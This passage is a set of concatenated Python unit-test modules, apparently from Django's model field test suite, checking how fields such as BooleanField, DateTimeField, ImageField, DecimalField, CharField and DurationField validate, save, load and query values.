    def test_null_default(self):
        """
        A BooleanField defaults to None, which isn't a valid value (#15124).
        """
        boolean_field = BooleanModel._meta.get_field('bfield')
        self.assertFalse(boolean_field.has_default())
        b = BooleanModel()
        self.assertIsNone(b.bfield)
        with transaction.atomic():
            with self.assertRaises(IntegrityError):
                b.save()

        nb = NullBooleanModel()
        self.assertIsNone(nb.nbfield)
        nb.save()  # no error


class ValidationTest(SimpleTestCase):

    def test_boolean_field_doesnt_accept_empty_input(self):
        f = models.BooleanField()
        with self.assertRaises(ValidationError):
            f.clean(None, None)

    def test_nullbooleanfield_blank(self):
        """
        NullBooleanField shouldn't throw a validation error when given a value
        of None.
        """
        nullboolean = NullBooleanModel(nbfield=None)
        nullboolean.full_clean()






import datetime

from django.db import models
from django.test import (
    SimpleTestCase, TestCase, override_settings, skipUnlessDBFeature,
)
from django.test.utils import requires_tz_support
from django.utils import timezone

from .models import DateTimeModel


class DateTimeFieldTests(TestCase):

    def test_datetimefield_to_python_microseconds(self):
        """DateTimeField.to_python() supports microseconds."""
        f = models.DateTimeField()
        self.assertEqual(f.to_python('2001-01-02 03:04:05.000006'), datetime.datetime(2001, 1, 2, 3, 4, 5, 6))
        self.assertEqual(f.to_python('2001-01-02 03:04:05.999999'), datetime.datetime(2001, 1, 2, 3, 4, 5, 999999))

    def test_timefield_to_python_microseconds(self):
        """TimeField.to_python() supports microseconds."""
        f = models.TimeField()
        self.assertEqual(f.to_python('01:02:03.000004'), datetime.time(1, 2, 3, 4))
        self.assertEqual(f.to_python('01:02:03.999999'), datetime.time(1, 2, 3, 999999))

    @skipUnlessDBFeature('supports_microsecond_precision')
    def test_datetimes_save_completely(self):
        dat = datetime.date(2014, 3, 12)
        datetim = datetime.datetime(2014, 3, 12, 21, 22, 23, 240000)
        tim = datetime.time(21, 22, 23, 240000)
        DateTimeModel.objects.create(d=dat, dt=datetim, t=tim)
        obj = DateTimeModel.objects.first()
        self.assertTrue(obj)
        self.assertEqual(obj.d, dat)
        self.assertEqual(obj.dt, datetim)
        self.assertEqual(obj.t, tim)

    @override_settings(USE_TZ=False)
    def test_lookup_date_without_use_tz(self):
        d = datetime.date(2014, 3, 12)
        dt1 = datetime.datetime(2014, 3, 12, 21, 22, 23, 240000)
        dt2 = datetime.datetime(2014, 3, 11, 21, 22, 23, 240000)
        t = datetime.time(21, 22, 23, 240000)
        m = DateTimeModel.objects.create(d=d, dt=dt1, t=t)
        # Other model with different datetime.
        DateTimeModel.objects.create(d=d, dt=dt2, t=t)
        self.assertEqual(m, DateTimeModel.objects.get(dt__date=d))

    @requires_tz_support
    @skipUnlessDBFeature('has_zoneinfo_database')
    @override_settings(USE_TZ=True, TIME_ZONE='America/Vancouver')
    def test_lookup_date_with_use_tz(self):
        d = datetime.date(2014, 3, 12)
        # The following is equivalent to UTC 2014-03-12 18:34:23.24000.
        dt1 = datetime.datetime(2014, 3, 12, 10, 22, 23, 240000, tzinfo=timezone.get_current_timezone())
        # The following is equivalent to UTC 2014-03-13 05:34:23.24000.
        dt2 = datetime.datetime(2014, 3, 12, 21, 22, 23, 240000, tzinfo=timezone.get_current_timezone())
        t = datetime.time(21, 22, 23, 240000)
        m1 = DateTimeModel.objects.create(d=d, dt=dt1, t=t)
        m2 = DateTimeModel.objects.create(d=d, dt=dt2, t=t)
        # In Vancouver, we expect both results.
        self.assertQuerysetEqual(
            DateTimeModel.objects.filter(dt__date=d),
            [repr(m1), repr(m2)],
            ordered=False
        )
        with self.settings(TIME_ZONE='UTC'):
            # But in UTC, the __date only matches one of them.
            self.assertQuerysetEqual(DateTimeModel.objects.filter(dt__date=d), [repr(m1)])


class ValidationTest(SimpleTestCase):

    def test_datefield_cleans_date(self):
        f = models.DateField()
        self.assertEqual(datetime.date(2008, 10, 10), f.clean('2008-10-10', None))






from django.db import models
from django.test import TestCase

from .models import Post


class TextFieldTests(TestCase):

    def test_max_length_passed_to_formfield(self):
        """
        TextField passes its max_length attribute to form fields created using
        their formfield() method.
        """
        tf1 = models.TextField()
        tf2 = models.TextField(max_length=2345)
        self.assertIsNone(tf1.formfield().max_length)
        self.assertEqual(2345, tf2.formfield().max_length)

    def test_to_python(self):
        """TextField.to_python() should return a string."""
        f = models.TextField()
        self.assertEqual(f.to_python(1), '1')

    def test_lookup_integer_in_textfield(self):
        self.assertEqual(Post.objects.filter(body=24).count(), 0)






from __future__ import unicode_literals

import os
import shutil
from unittest import skipIf

from django.core.exceptions import ImproperlyConfigured, ValidationError
from django.core.files import File
from django.core.files.images import ImageFile
from django.test import TestCase
from django.test.testcases import SerializeMixin
from django.utils._os import upath

try:
    from .models import Image
except ImproperlyConfigured:
    Image = None

if Image:
    from .models import (
        Person, PersonWithHeight, PersonWithHeightAndWidth,
        PersonDimensionsFirst, PersonTwoImages, TestImageFieldFile,
    )
    from .models import temp_storage_dir
else:
    # Pillow not available, create dummy classes (tests will be skipped anyway)
    class Person():
        pass
    PersonWithHeight = PersonWithHeightAndWidth = PersonDimensionsFirst = Person
    PersonTwoImages = Person


class ImageFieldTestMixin(SerializeMixin):
    """
    Mixin class to provide common functionality to ImageField test classes.
    """

    lockfile = __file__

    # Person model to use for tests.
    PersonModel = PersonWithHeightAndWidth
    # File class to use for file instances.
    File = ImageFile

    def setUp(self):
        """
        Creates a pristine temp directory (or deletes and recreates if it
        already exists) that the model uses as its storage directory.

        Sets up two ImageFile instances for use in tests.
        """
        if os.path.exists(temp_storage_dir):
            shutil.rmtree(temp_storage_dir)
        os.mkdir(temp_storage_dir)

        file_path1 = os.path.join(os.path.dirname(upath(__file__)), "4x8.png")
        self.file1 = self.File(open(file_path1, 'rb'), name='4x8.png')

        file_path2 = os.path.join(os.path.dirname(upath(__file__)), "8x4.png")
        self.file2 = self.File(open(file_path2, 'rb'), name='8x4.png')

    def tearDown(self):
        """
        Removes temp directory and all its contents.
        """
        self.file1.close()
        self.file2.close()
        shutil.rmtree(temp_storage_dir)

    def check_dimensions(self, instance, width, height,
                         field_name='mugshot'):
        """
        Asserts that the given width and height values match both the
        field's height and width attributes and the height and width fields
        (if defined) the image field is caching to.

        Note, this method will check for dimension fields named by adding
        "_width" or "_height" to the name of the ImageField.  So, the
        models used in these tests must have their fields named
        accordingly.

        By default, we check the field named "mugshot", but this can be
        specified by passing the field_name parameter.
        """
        field = getattr(instance, field_name)
        # Check height/width attributes of field.
        if width is None and height is None:
            with self.assertRaises(ValueError):
                getattr(field, 'width')
            with self.assertRaises(ValueError):
                getattr(field, 'height')
        else:
            self.assertEqual(field.width, width)
            self.assertEqual(field.height, height)

        # Check height/width fields of model, if defined.
        width_field_name = field_name + '_width'
        if hasattr(instance, width_field_name):
            self.assertEqual(getattr(instance, width_field_name), width)
        height_field_name = field_name + '_height'
        if hasattr(instance, height_field_name):
            self.assertEqual(getattr(instance, height_field_name), height)


@skipIf(Image is None, "Pillow is required to test ImageField")
class ImageFieldTests(ImageFieldTestMixin, TestCase):
    """
    Tests for ImageField that don't need to be run with each of the
    different test model classes.
    """

    def test_equal_notequal_hash(self):
        """
        Bug #9786: Ensure '==' and '!=' work correctly.
        Bug #9508: make sure hash() works as expected (equal items must
        hash to the same value).
        """
        # Create two Persons with different mugshots.
        p1 = self.PersonModel(name="Joe")
        p1.mugshot.save("mug", self.file1)
        p2 = self.PersonModel(name="Bob")
        p2.mugshot.save("mug", self.file2)
        self.assertIs(p1.mugshot == p2.mugshot, False)
        self.assertIs(p1.mugshot != p2.mugshot, True)

        # Test again with an instance fetched from the db.
        p1_db = self.PersonModel.objects.get(name="Joe")
        self.assertIs(p1_db.mugshot == p2.mugshot, False)
        self.assertIs(p1_db.mugshot != p2.mugshot, True)

        # Instance from db should match the local instance.
        self.assertIs(p1_db.mugshot == p1.mugshot, True)
        self.assertEqual(hash(p1_db.mugshot), hash(p1.mugshot))
        self.assertIs(p1_db.mugshot != p1.mugshot, False)

    def test_validation(self):
        p = self.PersonModel(name="Joan")
        p.mugshot.save("shot.txt", self.file1)
        with self.assertRaisesMessage(ValidationError, "File extension 'txt' is not allowed."):
            p.full_clean()

    def test_instantiate_missing(self):
        """
        If the underlying file is unavailable, still create instantiate the
        object without error.
        """
        p = self.PersonModel(name="Joan")
        p.mugshot.save("shot", self.file1)
        p = self.PersonModel.objects.get(name="Joan")
        path = p.mugshot.path
        shutil.move(path, path + '.moved')
        self.PersonModel.objects.get(name="Joan")

    def test_delete_when_missing(self):
        """
        Bug #8175: correctly delete an object where the file no longer
        exists on the file system.
        """
        p = self.PersonModel(name="Fred")
        p.mugshot.save("shot", self.file1)
        os.remove(p.mugshot.path)
        p.delete()

    def test_size_method(self):
        """
        Bug #8534: FileField.size should not leave the file open.
        """
        p = self.PersonModel(name="Joan")
        p.mugshot.save("shot", self.file1)

        # Get a "clean" model instance
        p = self.PersonModel.objects.get(name="Joan")
        # It won't have an opened file.
        self.assertIs(p.mugshot.closed, True)

        # After asking for the size, the file should still be closed.
        p.mugshot.size
        self.assertIs(p.mugshot.closed, True)

    def test_pickle(self):
        """
        Tests that ImageField can be pickled, unpickled, and that the
        image of the unpickled version is the same as the original.
        """
        import pickle

        p = Person(name="Joe")
        p.mugshot.save("mug", self.file1)
        dump = pickle.dumps(p)

        p2 = Person(name="Bob")
        p2.mugshot = self.file1

        loaded_p = pickle.loads(dump)
        self.assertEqual(p.mugshot, loaded_p.mugshot)

    def test_defer(self):
        self.PersonModel.objects.create(name='Joe', mugshot=self.file1)
        with self.assertNumQueries(1):
            qs = list(self.PersonModel.objects.defer('mugshot'))
        with self.assertNumQueries(0):
            self.assertEqual(qs[0].name, 'Joe')


@skipIf(Image is None, "Pillow is required to test ImageField")
class ImageFieldTwoDimensionsTests(ImageFieldTestMixin, TestCase):
    """
    Tests behavior of an ImageField and its dimensions fields.
    """

    def test_constructor(self):
        """
        Tests assigning an image field through the model's constructor.
        """
        p = self.PersonModel(name='Joe', mugshot=self.file1)
        self.check_dimensions(p, 4, 8)
        p.save()
        self.check_dimensions(p, 4, 8)

    def test_image_after_constructor(self):
        """
        Tests behavior when image is not passed in constructor.
        """
        p = self.PersonModel(name='Joe')
        # TestImageField value will default to being an instance of its
        # attr_class, a  TestImageFieldFile, with name == None, which will
        # cause it to evaluate as False.
        self.assertIsInstance(p.mugshot, TestImageFieldFile)
        self.assertFalse(p.mugshot)

        # Test setting a fresh created model instance.
        p = self.PersonModel(name='Joe')
        p.mugshot = self.file1
        self.check_dimensions(p, 4, 8)

    def test_create(self):
        """
        Tests assigning an image in Manager.create().
        """
        p = self.PersonModel.objects.create(name='Joe', mugshot=self.file1)
        self.check_dimensions(p, 4, 8)

    def test_default_value(self):
        """
        Tests that the default value for an ImageField is an instance of
        the field's attr_class (TestImageFieldFile in this case) with no
        name (name set to None).
        """
        p = self.PersonModel()
        self.assertIsInstance(p.mugshot, TestImageFieldFile)
        self.assertFalse(p.mugshot)

    def test_assignment_to_None(self):
        """
        Tests that assigning ImageField to None clears dimensions.
        """
        p = self.PersonModel(name='Joe', mugshot=self.file1)
        self.check_dimensions(p, 4, 8)

        # If image assigned to None, dimension fields should be cleared.
        p.mugshot = None
        self.check_dimensions(p, None, None)

        p.mugshot = self.file2
        self.check_dimensions(p, 8, 4)

    def test_field_save_and_delete_methods(self):
        """
        Tests assignment using the field's save method and deletion using
        the field's delete method.
        """
        p = self.PersonModel(name='Joe')
        p.mugshot.save("mug", self.file1)
        self.check_dimensions(p, 4, 8)

        # A new file should update dimensions.
        p.mugshot.save("mug", self.file2)
        self.check_dimensions(p, 8, 4)

        # Field and dimensions should be cleared after a delete.
        p.mugshot.delete(save=False)
        self.assertEqual(p.mugshot, None)
        self.check_dimensions(p, None, None)

    def test_dimensions(self):
        """
        Checks that dimensions are updated correctly in various situations.
        """
        p = self.PersonModel(name='Joe')

        # Dimensions should get set if file is saved.
        p.mugshot.save("mug", self.file1)
        self.check_dimensions(p, 4, 8)

        # Test dimensions after fetching from database.
        p = self.PersonModel.objects.get(name='Joe')
        # Bug 11084: Dimensions should not get recalculated if file is
        # coming from the database.  We test this by checking if the file
        # was opened.
        self.assertIs(p.mugshot.was_opened, False)
        self.check_dimensions(p, 4, 8)
        # After checking dimensions on the image field, the file will have
        # opened.
        self.assertIs(p.mugshot.was_opened, True)
        # Dimensions should now be cached, and if we reset was_opened and
        # check dimensions again, the file should not have opened.
        p.mugshot.was_opened = False
        self.check_dimensions(p, 4, 8)
        self.assertIs(p.mugshot.was_opened, False)

        # If we assign a new image to the instance, the dimensions should
        # update.
        p.mugshot = self.file2
        self.check_dimensions(p, 8, 4)
        # Dimensions were recalculated, and hence file should have opened.
        self.assertIs(p.mugshot.was_opened, True)


@skipIf(Image is None, "Pillow is required to test ImageField")
class ImageFieldNoDimensionsTests(ImageFieldTwoDimensionsTests):
    """
    Tests behavior of an ImageField with no dimension fields.
    """

    PersonModel = Person


@skipIf(Image is None, "Pillow is required to test ImageField")
class ImageFieldOneDimensionTests(ImageFieldTwoDimensionsTests):
    """
    Tests behavior of an ImageField with one dimensions field.
    """

    PersonModel = PersonWithHeight


@skipIf(Image is None, "Pillow is required to test ImageField")
class ImageFieldDimensionsFirstTests(ImageFieldTwoDimensionsTests):
    """
    Tests behavior of an ImageField where the dimensions fields are
    defined before the ImageField.
    """

    PersonModel = PersonDimensionsFirst


@skipIf(Image is None, "Pillow is required to test ImageField")
class ImageFieldUsingFileTests(ImageFieldTwoDimensionsTests):
    """
    Tests behavior of an ImageField when assigning it a File instance
    rather than an ImageFile instance.
    """

    PersonModel = PersonDimensionsFirst
    File = File


@skipIf(Image is None, "Pillow is required to test ImageField")
class TwoImageFieldTests(ImageFieldTestMixin, TestCase):
    """
    Tests a model with two ImageFields.
    """

    PersonModel = PersonTwoImages

    def test_constructor(self):
        p = self.PersonModel(mugshot=self.file1, headshot=self.file2)
        self.check_dimensions(p, 4, 8, 'mugshot')
        self.check_dimensions(p, 8, 4, 'headshot')
        p.save()
        self.check_dimensions(p, 4, 8, 'mugshot')
        self.check_dimensions(p, 8, 4, 'headshot')

    def test_create(self):
        p = self.PersonModel.objects.create(mugshot=self.file1,
                                            headshot=self.file2)
        self.check_dimensions(p, 4, 8)
        self.check_dimensions(p, 8, 4, 'headshot')

    def test_assignment(self):
        p = self.PersonModel()
        self.check_dimensions(p, None, None, 'mugshot')
        self.check_dimensions(p, None, None, 'headshot')

        p.mugshot = self.file1
        self.check_dimensions(p, 4, 8, 'mugshot')
        self.check_dimensions(p, None, None, 'headshot')
        p.headshot = self.file2
        self.check_dimensions(p, 4, 8, 'mugshot')
        self.check_dimensions(p, 8, 4, 'headshot')

        # Clear the ImageFields one at a time.
        p.mugshot = None
        self.check_dimensions(p, None, None, 'mugshot')
        self.check_dimensions(p, 8, 4, 'headshot')
        p.headshot = None
        self.check_dimensions(p, None, None, 'mugshot')
        self.check_dimensions(p, None, None, 'headshot')

    def test_field_save_and_delete_methods(self):
        p = self.PersonModel(name='Joe')
        p.mugshot.save("mug", self.file1)
        self.check_dimensions(p, 4, 8, 'mugshot')
        self.check_dimensions(p, None, None, 'headshot')
        p.headshot.save("head", self.file2)
        self.check_dimensions(p, 4, 8, 'mugshot')
        self.check_dimensions(p, 8, 4, 'headshot')

        # We can use save=True when deleting the image field with null=True
        # dimension fields and the other field has an image.
        p.headshot.delete(save=True)
        self.check_dimensions(p, 4, 8, 'mugshot')
        self.check_dimensions(p, None, None, 'headshot')
        p.mugshot.delete(save=False)
        self.check_dimensions(p, None, None, 'mugshot')
        self.check_dimensions(p, None, None, 'headshot')

    def test_dimensions(self):
        """
        Checks that dimensions are updated correctly in various situations.
        """
        p = self.PersonModel(name='Joe')

        # Dimensions should get set for the saved file.
        p.mugshot.save("mug", self.file1)
        p.headshot.save("head", self.file2)
        self.check_dimensions(p, 4, 8, 'mugshot')
        self.check_dimensions(p, 8, 4, 'headshot')

        # Test dimensions after fetching from database.
        p = self.PersonModel.objects.get(name='Joe')
        # Bug 11084: Dimensions should not get recalculated if file is
        # coming from the database.  We test this by checking if the file
        # was opened.
        self.assertIs(p.mugshot.was_opened, False)
        self.assertIs(p.headshot.was_opened, False)
        self.check_dimensions(p, 4, 8, 'mugshot')
        self.check_dimensions(p, 8, 4, 'headshot')
        # After checking dimensions on the image fields, the files will
        # have been opened.
        self.assertIs(p.mugshot.was_opened, True)
        self.assertIs(p.headshot.was_opened, True)
        # Dimensions should now be cached, and if we reset was_opened and
        # check dimensions again, the file should not have opened.
        p.mugshot.was_opened = False
        p.headshot.was_opened = False
        self.check_dimensions(p, 4, 8, 'mugshot')
        self.check_dimensions(p, 8, 4, 'headshot')
        self.assertIs(p.mugshot.was_opened, False)
        self.assertIs(p.headshot.was_opened, False)

        # If we assign a new image to the instance, the dimensions should
        # update.
        p.mugshot = self.file2
        p.headshot = self.file1
        self.check_dimensions(p, 8, 4, 'mugshot')
        self.check_dimensions(p, 4, 8, 'headshot')
        # Dimensions were recalculated, and hence file should have opened.
        self.assertIs(p.mugshot.was_opened, True)
        self.assertIs(p.headshot.was_opened, True)






from decimal import Decimal

from django.core import validators
from django.core.exceptions import ValidationError
from django.db import models
from django.test import TestCase

from .models import BigD, Foo


class DecimalFieldTests(TestCase):

    def test_to_python(self):
        f = models.DecimalField(max_digits=4, decimal_places=2)
        self.assertEqual(f.to_python(3), Decimal('3'))
        self.assertEqual(f.to_python('3.14'), Decimal('3.14'))
        with self.assertRaises(ValidationError):
            f.to_python('abc')

    def test_default(self):
        f = models.DecimalField(default=Decimal('0.00'))
        self.assertEqual(f.get_default(), Decimal('0.00'))

    def test_format(self):
        f = models.DecimalField(max_digits=5, decimal_places=1)
        self.assertEqual(f._format(f.to_python(2)), '2.0')
        self.assertEqual(f._format(f.to_python('2.6')), '2.6')
        self.assertIsNone(f._format(None))

    def test_get_prep_value(self):
        f = models.DecimalField(max_digits=5, decimal_places=1)
        self.assertIsNone(f.get_prep_value(None))
        self.assertEqual(f.get_prep_value('2.4'), Decimal('2.4'))

    def test_filter_with_strings(self):
        """
        Should be able to filter decimal fields using strings (#8023).
        """
        foo = Foo.objects.create(a='abc', d=Decimal('12.34'))
        self.assertEqual(list(Foo.objects.filter(d='12.34')), [foo])

    def test_save_without_float_conversion(self):
        """
        Ensure decimals don't go through a corrupting float conversion during
        save (#5079).
        """
        bd = BigD(d='12.9')
        bd.save()
        bd = BigD.objects.get(pk=bd.pk)
        self.assertEqual(bd.d, Decimal('12.9'))

    def test_lookup_really_big_value(self):
        """
        Really big values can be used in a filter statement.
        """
        # This should not crash.
        Foo.objects.filter(d__gte=100000000000)

    def test_max_digits_validation(self):
        field = models.DecimalField(max_digits=2)
        expected_message = validators.DecimalValidator.messages['max_digits'] % {'max': 2}
        with self.assertRaisesMessage(ValidationError, expected_message):
            field.clean(100, None)

    def test_max_decimal_places_validation(self):
        field = models.DecimalField(decimal_places=1)
        expected_message = validators.DecimalValidator.messages['max_decimal_places'] % {'max': 1}
        with self.assertRaisesMessage(ValidationError, expected_message):
            field.clean(Decimal('0.99'), None)

    def test_max_whole_digits_validation(self):
        field = models.DecimalField(max_digits=3, decimal_places=1)
        expected_message = validators.DecimalValidator.messages['max_whole_digits'] % {'max': 2}
        with self.assertRaisesMessage(ValidationError, expected_message):
            field.clean(Decimal('999'), None)






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.test import TestCase

from .models import BigS, UnicodeSlugField


class SlugFieldTests(TestCase):

    def test_slugfield_max_length(self):
        """
        SlugField honors max_length.
        """
        bs = BigS.objects.create(s='slug' * 50)
        bs = BigS.objects.get(pk=bs.pk)
        self.assertEqual(bs.s, 'slug' * 50)

    def test_slugfield_unicode_max_length(self):
        """
        SlugField with allow_unicode=True honors max_length.
        """
        bs = UnicodeSlugField.objects.create(s='你好你好' * 50)
        bs = UnicodeSlugField.objects.get(pk=bs.pk)
        self.assertEqual(bs.s, '你好你好' * 50)






from django.core.exceptions import ValidationError
from django.db import models
from django.test import TestCase

from .models import GenericIPAddress


class GenericIPAddressFieldTests(TestCase):

    def test_genericipaddressfield_formfield_protocol(self):
        """
        GenericIPAddressField with a specified protocol does not generate a
        formfield without a protocol.
        """
        model_field = models.GenericIPAddressField(protocol='IPv4')
        form_field = model_field.formfield()
        with self.assertRaises(ValidationError):
            form_field.clean('::1')
        model_field = models.GenericIPAddressField(protocol='IPv6')
        form_field = model_field.formfield()
        with self.assertRaises(ValidationError):
            form_field.clean('127.0.0.1')

    def test_null_value(self):
        """
        Null values should be resolved to None.
        """
        GenericIPAddress.objects.create()
        o = GenericIPAddress.objects.get()
        self.assertIsNone(o.ip)

    def test_blank_string_saved_as_null(self):
        o = GenericIPAddress.objects.create(ip='')
        o.refresh_from_db()
        self.assertIsNone(o.ip)
        GenericIPAddress.objects.update(ip='')
        o.refresh_from_db()
        self.assertIsNone(o.ip)

    def test_save_load(self):
        instance = GenericIPAddress.objects.create(ip='::1')
        loaded = GenericIPAddress.objects.get()
        self.assertEqual(loaded.ip, instance.ip)












from django.db import transaction
from django.test import TestCase

from .models import FloatModel


class TestFloatField(TestCase):

    def test_float_validates_object(self):
        instance = FloatModel(size=2.5)
        # Try setting float field to unsaved object
        instance.size = instance
        with transaction.atomic():
            with self.assertRaises(TypeError):
                instance.save()
        # Set value to valid and save
        instance.size = 2.5
        instance.save()
        self.assertTrue(instance.id)
        # Set field to object on saved instance
        instance.size = instance
        msg = (
            'Tried to update field model_fields.FloatModel.size with a model '
            'instance, <FloatModel: FloatModel object>. Use a value '
            'compatible with FloatField.'
        )
        with transaction.atomic():
            with self.assertRaisesMessage(TypeError, msg):
                instance.save()
        # Try setting field to object on retrieved object
        obj = FloatModel.objects.get(pk=instance.id)
        obj.size = obj
        with self.assertRaises(TypeError):
            obj.save()






from django.apps import apps
from django.db import models
from django.test import SimpleTestCase
from django.test.utils import isolate_apps


class ManyToManyFieldTests(SimpleTestCase):

    @isolate_apps('model_fields')
    def test_value_from_object_instance_without_pk(self):
        class ManyToManyModel(models.Model):
            m2m = models.ManyToManyField('self', models.CASCADE)

        instance = ManyToManyModel()
        qs = instance._meta.get_field('m2m').value_from_object(instance)
        self.assertEqual(qs.model, ManyToManyModel)
        self.assertEqual(list(qs), [])

    def test_abstract_model_pending_operations(self):
        """
        Many-to-many fields declared on abstract models should not add lazy
        relations to resolve relationship declared as string (#24215).
        """
        pending_ops_before = list(apps._pending_operations.items())

        class AbstractManyToManyModel(models.Model):
            fk = models.ForeignKey('missing.FK', models.CASCADE)

            class Meta:
                abstract = True

        self.assertIs(AbstractManyToManyModel._meta.apps, apps)
        self.assertEqual(
            pending_ops_before,
            list(apps._pending_operations.items()),
            'Pending lookup added for a many-to-many field on an abstract model'
        )

    @isolate_apps('model_fields', 'model_fields.tests')
    def test_abstract_model_app_relative_foreign_key(self):
        class AbstractReferent(models.Model):
            reference = models.ManyToManyField('Refered', through='Through')

            class Meta:
                app_label = 'model_fields'
                abstract = True

        def assert_app_model_resolved(label):
            class Refered(models.Model):
                class Meta:
                    app_label = label

            class Through(models.Model):
                refered = models.ForeignKey('Refered', on_delete=models.CASCADE)
                referent = models.ForeignKey('ConcreteReferent', on_delete=models.CASCADE)

                class Meta:
                    app_label = label

            class ConcreteReferent(AbstractReferent):
                class Meta:
                    app_label = label

            self.assertEqual(ConcreteReferent._meta.get_field('reference').related_model, Refered)
            self.assertEqual(ConcreteReferent.reference.through, Through)

        assert_app_model_resolved('model_fields')
        assert_app_model_resolved('tests')






from django.core.exceptions import ValidationError
from django.db import models
from django.test import SimpleTestCase, TestCase
from django.utils.functional import lazy

from .models import Post


class TestCharField(TestCase):

    def test_max_length_passed_to_formfield(self):
        """
        CharField passes its max_length attribute to form fields created using
        the formfield() method.
        """
        cf1 = models.CharField()
        cf2 = models.CharField(max_length=1234)
        self.assertIsNone(cf1.formfield().max_length)
        self.assertEqual(1234, cf2.formfield().max_length)

    def test_lookup_integer_in_charfield(self):
        self.assertEqual(Post.objects.filter(title=9).count(), 0)


class ValidationTests(SimpleTestCase):

    def test_charfield_raises_error_on_empty_string(self):
        f = models.CharField()
        with self.assertRaises(ValidationError):
            f.clean('', None)

    def test_charfield_cleans_empty_string_when_blank_true(self):
        f = models.CharField(blank=True)
        self.assertEqual('', f.clean('', None))

    def test_charfield_with_choices_cleans_valid_choice(self):
        f = models.CharField(max_length=1, choices=[('a', 'A'), ('b', 'B')])
        self.assertEqual('a', f.clean('a', None))

    def test_charfield_with_choices_raises_error_on_invalid_choice(self):
        f = models.CharField(choices=[('a', 'A'), ('b', 'B')])
        with self.assertRaises(ValidationError):
            f.clean('not a', None)

    def test_charfield_get_choices_with_blank_defined(self):
        f = models.CharField(choices=[('', '<><>'), ('a', 'A')])
        self.assertEqual(f.get_choices(True), [('', '<><>'), ('a', 'A')])

    def test_charfield_get_choices_doesnt_evaluate_lazy_strings(self):
        # Regression test for #23098
        # Will raise ZeroDivisionError if lazy is evaluated
        lazy_func = lazy(lambda x: 0 / 0, int)
        f = models.CharField(choices=[(lazy_func('group'), (('a', 'A'), ('b', 'B')))])
        self.assertEqual(f.get_choices(True)[0], ('', '---------'))

    def test_charfield_raises_error_on_empty_input(self):
        f = models.CharField(null=False)
        with self.assertRaises(ValidationError):
            f.clean(None, None)






from django import forms
from django.db import models
from django.test import SimpleTestCase, TestCase
from django.utils.encoding import force_str

from .models import (
    Foo, RenamedField, VerboseNameField, Whiz, WhizIter, WhizIterEmpty,
)


class BasicFieldTests(TestCase):

    def test_show_hidden_initial(self):
        """
        Fields with choices respect show_hidden_initial as a kwarg to
        formfield().
        """
        choices = [(0, 0), (1, 1)]
        model_field = models.Field(choices=choices)
        form_field = model_field.formfield(show_hidden_initial=True)
        self.assertTrue(form_field.show_hidden_initial)

        form_field = model_field.formfield(show_hidden_initial=False)
        self.assertFalse(form_field.show_hidden_initial)

    def test_field_repr(self):
        """
        __repr__() of a field displays its name.
        """
        f = Foo._meta.get_field('a')
        self.assertEqual(repr(f), '<django.db.models.fields.CharField: a>')
        f = models.fields.CharField()
        self.assertEqual(repr(f), '<django.db.models.fields.CharField>')

    def test_field_name(self):
        """
        A defined field name (name="fieldname") is used instead of the model
        model's attribute name (modelname).
        """
        instance = RenamedField()
        self.assertTrue(hasattr(instance, 'get_fieldname_display'))
        self.assertFalse(hasattr(instance, 'get_modelname_display'))

    def test_field_verbose_name(self):
        m = VerboseNameField
        for i in range(1, 24):
            self.assertEqual(m._meta.get_field('field%d' % i).verbose_name, 'verbose field%d' % i)

        self.assertEqual(m._meta.get_field('id').verbose_name, 'verbose pk')

    def test_choices_form_class(self):
        """Can supply a custom choices form class to Field.formfield()"""
        choices = [('a', 'a')]
        field = models.CharField(choices=choices)
        klass = forms.TypedMultipleChoiceField
        self.assertIsInstance(field.formfield(choices_form_class=klass), klass)

    def test_field_str(self):
        f = Foo._meta.get_field('a')
        self.assertEqual(force_str(f), 'model_fields.Foo.a')


class ChoicesTests(SimpleTestCase):

    def test_choices_and_field_display(self):
        """
        get_choices() interacts with get_FIELD_display() to return the expected
        values.
        """
        self.assertEqual(Whiz(c=1).get_c_display(), 'First')    # A nested value
        self.assertEqual(Whiz(c=0).get_c_display(), 'Other')    # A top level value
        self.assertEqual(Whiz(c=9).get_c_display(), 9)          # Invalid value
        self.assertIsNone(Whiz(c=None).get_c_display())         # Blank value
        self.assertEqual(Whiz(c='').get_c_display(), '')        # Empty value

    def test_iterator_choices(self):
        """
        get_choices() works with Iterators.
        """
        self.assertEqual(WhizIter(c=1).c, 1)          # A nested value
        self.assertEqual(WhizIter(c=9).c, 9)          # Invalid value
        self.assertIsNone(WhizIter(c=None).c)         # Blank value
        self.assertEqual(WhizIter(c='').c, '')        # Empty value

    def test_empty_iterator_choices(self):
        """
        get_choices() works with empty iterators.
        """
        self.assertEqual(WhizIterEmpty(c="a").c, "a")      # A nested value
        self.assertEqual(WhizIterEmpty(c="b").c, "b")      # Invalid value
        self.assertIsNone(WhizIterEmpty(c=None).c)         # Blank value
        self.assertEqual(WhizIterEmpty(c='').c, '')        # Empty value






import datetime
import json

from django import forms
from django.core import exceptions, serializers
from django.db import models
from django.test import SimpleTestCase, TestCase

from .models import DurationModel, NullDurationModel


class TestSaveLoad(TestCase):

    def test_simple_roundtrip(self):
        duration = datetime.timedelta(days=123, seconds=123, microseconds=123)
        DurationModel.objects.create(field=duration)
        loaded = DurationModel.objects.get()
        self.assertEqual(loaded.field, duration)

    def test_create_empty(self):
        NullDurationModel.objects.create()
        loaded = NullDurationModel.objects.get()
        self.assertIsNone(loaded.field)

    def test_fractional_seconds(self):
        value = datetime.timedelta(seconds=2.05)
        d = DurationModel.objects.create(field=value)
        d.refresh_from_db()
        self.assertEqual(d.field, value)


class TestQuerying(TestCase):

    @classmethod
    def setUpTestData(cls):
        cls.objs = [
            DurationModel.objects.create(field=datetime.timedelta(days=1)),
            DurationModel.objects.create(field=datetime.timedelta(seconds=1)),
            DurationModel.objects.create(field=datetime.timedelta(seconds=-1)),
        ]

    def test_exact(self):
        self.assertSequenceEqual(
            DurationModel.objects.filter(field=datetime.timedelta(days=1)),
            [self.objs[0]]
        )

    def test_gt(self):
        self.assertSequenceEqual(
            DurationModel.objects.filter(field__gt=datetime.timedelta(days=0)),
            [self.objs[0], self.objs[1]]
        )


class TestSerialization(SimpleTestCase):
    test_data = '[{"fields": {"field": "1 01:00:00"}, "model": "model_fields.durationmodel", "pk": null}]'

    def test_dumping(self):
        instance = DurationModel(field=datetime.timedelta(days=1, hours=1))
        data = serializers.serialize('json', [instance])
        self.assertEqual(json.loads(data), json.loads(self.test_data))

    def test_loading(self):
        instance = list(serializers.deserialize('json', self.test_data))[0].object
        self.assertEqual(instance.field, datetime.timedelta(days=1, hours=1))


class TestValidation(SimpleTestCase):

